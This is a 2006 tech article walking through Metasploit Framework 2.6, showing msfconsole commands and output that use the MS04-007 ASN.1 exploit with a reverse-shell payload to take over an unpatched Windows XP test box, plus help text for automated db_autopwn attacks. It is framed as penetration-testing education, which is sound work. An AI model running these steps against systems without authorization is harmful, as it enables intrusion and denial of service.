September 27, 2006

Fear the Metasploit Framework

Author: Joe Barr

The Metasploit Project is one of the most popular penetration testing suites available. If you're responsible for the security of networked systems, you'll want to become familiar with Metasploit Framework, so you can test your client PCs before someone with malicious intent does it for you. I'll walk you through an example exploit of a Windows XP system to show you how effortlessly Metasploit can penetrate remote systems.

I used the version 2.6, the current stable version. Grab the stable tarball for Linux, unpack it, enter the just created framework-2.6 subdirectory, and take a look around. Among other things, you'll find nine interesting executable Perl scripts. The first one -- msfconsole -- is the one that you can use to do penetration testing using a variety of exploits and payloads across a range of target platforms, and the one I'll walk through here.

Don't ignore the other scripts, though. Msfelfscan, for example, can be used to locate interesting addresses within executable and linkable format (ELF) programs, which may prove useful in developing exploits. Msfpescan does the same thing for Windows binaries. If you already know the exploit, payload, target, and options for a test, you might find Msfcli a more efficient way to launch the test than the framework itself.

Framework show and tell

If you've never seen Metasploit Framework in action, you might be surprised at how easy it is to use. Once you discover that, you might be a little more concerned with keeping your systems patched with the latest security fixes.

Metasploit Framework is basically an assault weapon. It comes with pre-packaged exploits that are known to work against specific target platforms, and matching payloads. The exploits take advantage of a vulnerability and the payload determines what actions to take after the exploit has been executed.

To start the program, open a terminal window, maximize it, enter the subdirectory where you installed the software, and enter #./msfconsole.

If you're unsure what you can do in the framework, enter the help command to display a dozen available commands. You can list all of the available exploits with the show exploits command, or learn the nitty-gritty about any exploit or payload with the info command, like this:

msf > info msasn1_ms04_007_killbill

Name: Microsoft ASN.1 Library Bitstring Heap Overflow
Class: remote
Version: $Revision: 1.6 $
Target OS: win32, win2000, winxp
Keywords: asn1
Privileged: Yes
Disclosure: Feb 10 2004

Provided By:
Solar Eclipse [GPLv2 License]

Available Targets:
Windows 2000 SP2-SP4 + Windows XP SP0-SP1

Available Options:

Exploit: Name Default Description
-------- ------ ------- ---------------------------
optional SSL The target service uses SSL
required RHOST The target address
required RPORT 445 The target service port
required PROTO smb Protocol (smb or http)

Payload Information:
Space: 1024
Avoid: 0 characters
| Keys: noconn tunnel bind ws2ord reverse

Nop Information:
SaveRegs: esp ebp
| Keys:

Encoder Information:
| Keys:

This is an exploit for a previously undisclosed vulnerability in
the bit string decoding code in the Microsoft ASN.1 library. This
vulnerability is not related to the bit string vulnerability
described in eEye advisory AD20040210-2. Both vulnerabilities were
fixed in the MS04-007 patch.

You are only allowed one attempt with this vulnerability. If the
payload fails to execute, the LSASS system service will crash and
the target system will automatically reboot itself in 60 seconds.
If the payload succeeds, the system will no longer be able to
process authentication requests, denying all attempts to login
through SMB or at the console. A reboot is required to restore
proper functioning of an exploited system.


That one matched up well with a test box on my LAN, which had a new Windows XP install on it with no service pack updates at all, thanks to the Windows Genuine Advantage program. So I gave it a whirl, and selected the "killbill" by entering the command use msasn1_ms04_007_killbill.

Once you've told it which exploit to use, msfconsole changes its prompt to reflect the currently loaded exploit. Next, I asked it to show me the payloads available:

msf msasn1_ms04_007_killbill > show payloads

Metasploit Framework Usable Payloads

  win32_adduser                  Windows Execute net user /ADD
  win32_bind                     Windows Bind Shell
  win32_bind_dllinject           Windows Bind DLL Inject
  win32_bind_meterpreter         Windows Bind Meterpreter DLL Inject
  win32_bind_stg                 Windows Staged Bind Shell
  win32_bind_stg_upexec          Windows Staged Bind Upload/Execute
  win32_bind_vncinject           Windows Bind VNC Server DLL Inject
  win32_downloadexec             Windows Executable Download and Execute
  win32_exec                     Windows Execute Command
  win32_passivex                 Windows PassiveX ActiveX Injection Payload
  win32_passivex_meterpreter     Windows PassiveX ActiveX Inject Meterpreter Payload
  win32_passivex_stg             Windows Staged PassiveX Shell
  win32_passivex_vncinject       Windows PassiveX ActiveX Inject VNC Server Payload
  win32_reverse                  Windows Reverse Shell
  win32_reverse_dllinject        Windows Reverse DLL Inject
  win32_reverse_meterpreter      Windows Reverse Meterpreter DLL Inject
  win32_reverse_ord              Windows Staged Reverse Ordinal Shell
  win32_reverse_ord_vncinject    Windows Reverse Ordinal VNC Server Inject
  win32_reverse_stg              Windows Staged Reverse Shell
  win32_reverse_stg_upexec       Windows Staged Reverse Upload/Execute
  win32_reverse_vncinject        Windows Reverse VNC Server Inject

The reverse shell sounded interesting to me, so I used the set command to select it and to specify the target:

msf msasn1_ms04_007_killbill > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse

msf msasn1_ms04_007_killbill(win32_reverse) > show targets

Supported Exploit Targets

0 Windows 2000 SP2-SP4 + Windows XP SP0-SP1

msf msasn1_ms04_007_killbill(win32_reverse) > set TARGET 0

All that was left to do then was to set the required options for the exploit and the payload. Here's how I did that:

msf msasn1_ms04_007_killbill(win32_reverse) > show options

Exploit and Payload Options

Exploit: Name Default Description
-------- ------ ------- ---------------------------
optional SSL The target service uses SSL
required RHOST The target address
required RPORT 445 The target service port
required PROTO smb Protocol (smb or http)

Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC thread Exit technique: "process", "thread", "seh"
required LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection

Target: Windows 2000 SP2-SP4 + Windows XP SP0-SP1

After setting the RHOST and LHOST variables with the appropriate IP addresses, I was all set to test, so I gave it the exploit command. Here's what happened:

msf msasn1_ms04_007_killbill(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Attempting to exploit target Windows 2000 SP2-SP4 + Windows XP SP0-SP1
[*] Sending SMB negotiate request...
[*] Sending SMB session_setup request...
[*] Got connection from

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

I entered a DIR command at the Windows prompt, and sure enough, I was in a live shell on the XP box. Uninvited.

Beyond the basics

That simple test convinced me that Metasploit Framework takes basic penetration testing chores out of the hands of elite h4x0rs and allows even dottering old journalists like me to conduct them. But that's only a small part of what the Metasploit Project provides.

More learned users can craft their own exploits and add them to the framework, or use Meterpreter to extend and combine payloads for custom attacks.

The upcoming version 3.0 -- still in beta testing -- promises even more functionality and ease of use. H. D. Moore, author and founder of the Metasploit Project, notes on the Web site that he can now demonstrate automated exploitation -- the framework can be loaded with exploits, payloads, and targets and then automatically attack the targets with the appropriate tools by using the db_autopwn command.

Quoting from a 9/18/2006 note by hdm (H. D. Moore) on the site:

msf > db_autopwn
[*] Usage: db_autopwn [options]
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port
-h Display this help text

The db_autopwn command will scan through the database tables and create a list of modules that match up to specific vulnerabilities. This matching process can happen in two different ways. The first method involves analyzing the list of vulnerability references for every exploit and matching them up with the references in every imported vulnerability record. This cross-referencing method is fairly accurate and depends on standard identifiers, such as OSVDB, Bugtraq, and CVE, to match exploits with their targets. The second method uses the default port associated with each exploit module to locate targets running the same service. While this will work in most cases, it can cause a fair amount of collateral damage and is likely to miss vulnerable services running on non-default ports.

It looks to me as if Metasploit is about to move up a notch from being merely amazing to downright scary. If you're responsible for network security, Metasploit is an absolute necessity in your defensive arsenal. Metasploit Framework gives you the opportunity to find vulnerabilities in your systems so they can be patched before the bad guys find them.


  • Security
Click Here!